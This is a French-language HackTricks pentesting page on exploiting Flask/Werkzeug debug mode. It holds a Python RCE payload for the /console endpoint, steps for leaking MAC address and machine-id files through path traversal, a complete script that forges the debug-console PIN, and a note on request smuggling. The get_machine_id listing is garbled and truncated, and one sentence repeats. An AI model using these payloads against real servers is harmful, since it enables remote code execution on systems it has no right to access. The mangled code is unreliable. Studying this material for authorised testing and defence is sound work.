Werkzeug / Flask Debug

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Console RCE

Si le débogage est actif, vous pourriez essayer d’accéder à /console et d’obtenir RCE.

__import__('os').popen('whoami').read();

Il existe également plusieurs exploits sur Internet comme celui-ci ou un dans metasploit.

Protégé par un PIN - Traversée de chemin

Dans certaines occasions, le point de terminaison /console sera protégé par un PIN. Si vous avez une vulnérabilité de traversée de fichier, vous pouvez leak toutes les informations nécessaires pour générer ce PIN.

Exploit de PIN de la console Werkzeug

Forcez une page d’erreur de débogage dans l’application pour voir cela :

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

Un message concernant le scénario “console verrouillée” est rencontré lors de la tentative d’accès à l’interface de débogage de Werkzeug, indiquant qu’un code PIN est requis pour déverrouiller la console. Il est suggéré d’exploiter le code PIN de la console en analysant l’algorithme de génération de PIN dans le fichier d’initialisation de débogage de Werkzeug (__init__.py). Le mécanisme de génération de PIN peut être étudié à partir du dépôt de code source de Werkzeug, bien qu’il soit conseillé d’obtenir le code serveur réel via une vulnérabilité de traversée de fichiers en raison de potentielles divergences de version.

Pour exploiter le code PIN de la console, deux ensembles de variables, probably_public_bits et private_bits, sont nécessaires :

probably_public_bits

  • username : Fait référence à l’utilisateur qui a initié la session Flask.
  • modname : Désigné typiquement comme flask.app.
  • getattr(app, '__name__', getattr(app.__class__, '__name__')) : Résout généralement à Flask.
  • getattr(mod, '__file__', None) : Représente le chemin complet vers app.py dans le répertoire Flask (par exemple, /usr/local/lib/python3.5/dist-packages/flask/app.py). Si app.py n’est pas applicable, essayez app.pyc.

private_bits

  • uuid.getnode() : Récupère l’adresse MAC de la machine actuelle, avec str(uuid.getnode()) la traduisant en format décimal.

  • Pour déterminer l’adresse MAC du serveur, il faut identifier l’interface réseau active utilisée par l’application (par exemple, ens3). En cas d’incertitude, fuite /proc/net/arp pour trouver l’ID de l’appareil, puis extraire l’adresse MAC de /sys/class/net/<device id>/address.

  • La conversion d’une adresse MAC hexadécimale en décimal peut être effectuée comme montré ci-dessous :

# Exemple d'adresse MAC : 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id() : Concatène les données de /etc/machine-id ou /proc/sys/kernel/random/boot_id avec la première ligne de /proc/self/cgroup après le dernier slash (/).
Code pour `get_machine_id()` ```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id

if _machine_id is not None: return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b““

machine-id is stable across boots, boot_id is not.

for filename in “/etc/machine-id”, “/proc/sys/kernel/random/boot_id”: try: with open(filename, “rb”) as f: value = f.readline().strip() except OSError: continue

if value: linux += value break

Containers share the same machine id, add some cgroup

information. This is used outside containers too but should be

relatively stable across boots.

try: with open(“/proc/self/cgroup”, “rb”) as f: linux += f.readline().strip().rpartition(b“/“)[2] except OSError: pass

if linux: return linux

On OS X, use ioreg to get the computer’s serial number.

try:

</details>

Après avoir rassemblé toutes les données nécessaires, le script d'exploitation peut être exécuté pour générer le PIN de la console Werkzeug :

Après avoir rassemblé toutes les données nécessaires, le script d'exploitation peut être exécuté pour générer le PIN de la console Werkzeug. Le script utilise les `probably_public_bits` et `private_bits` assemblés pour créer un hachage, qui subit ensuite un traitement supplémentaire pour produire le PIN final. Ci-dessous se trouve le code Python pour exécuter ce processus :
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

Ce script produit le PIN en hachant les bits concaténés, en ajoutant des sels spécifiques (cookiesalt et pinsalt), et en formatant la sortie. Il est important de noter que les valeurs réelles pour probably_public_bits et private_bits doivent être obtenues avec précision à partir du système cible pour garantir que le PIN généré correspond à celui attendu par la console Werkzeug.

Tip

Si vous utilisez une ancienne version de Werkzeug, essayez de changer l’algorithme de hachage en md5 au lieu de sha1.

Caractères Unicode de Werkzeug

Comme observé dans ce problème, Werkzeug ne ferme pas une requête avec des caractères Unicode dans les en-têtes. Et comme expliqué dans ce rapport, cela pourrait causer une vulnérabilité de CL.0 Request Smuggling.

C’est parce qu’il est possible d’envoyer certains caractères Unicode dans Werkzeug et cela fera casser le serveur. Cependant, si la connexion HTTP a été créée avec l’en-tête Connection: keep-alive, le corps de la requête ne sera pas lu et la connexion restera ouverte, donc le corps de la requête sera traité comme la prochaine requête HTTP.

Exploitation Automatisée

GitHub - Ruulian/wconsole_extractor: WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode. You just have to write a python function that leaks a file content and you have your shell :)

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks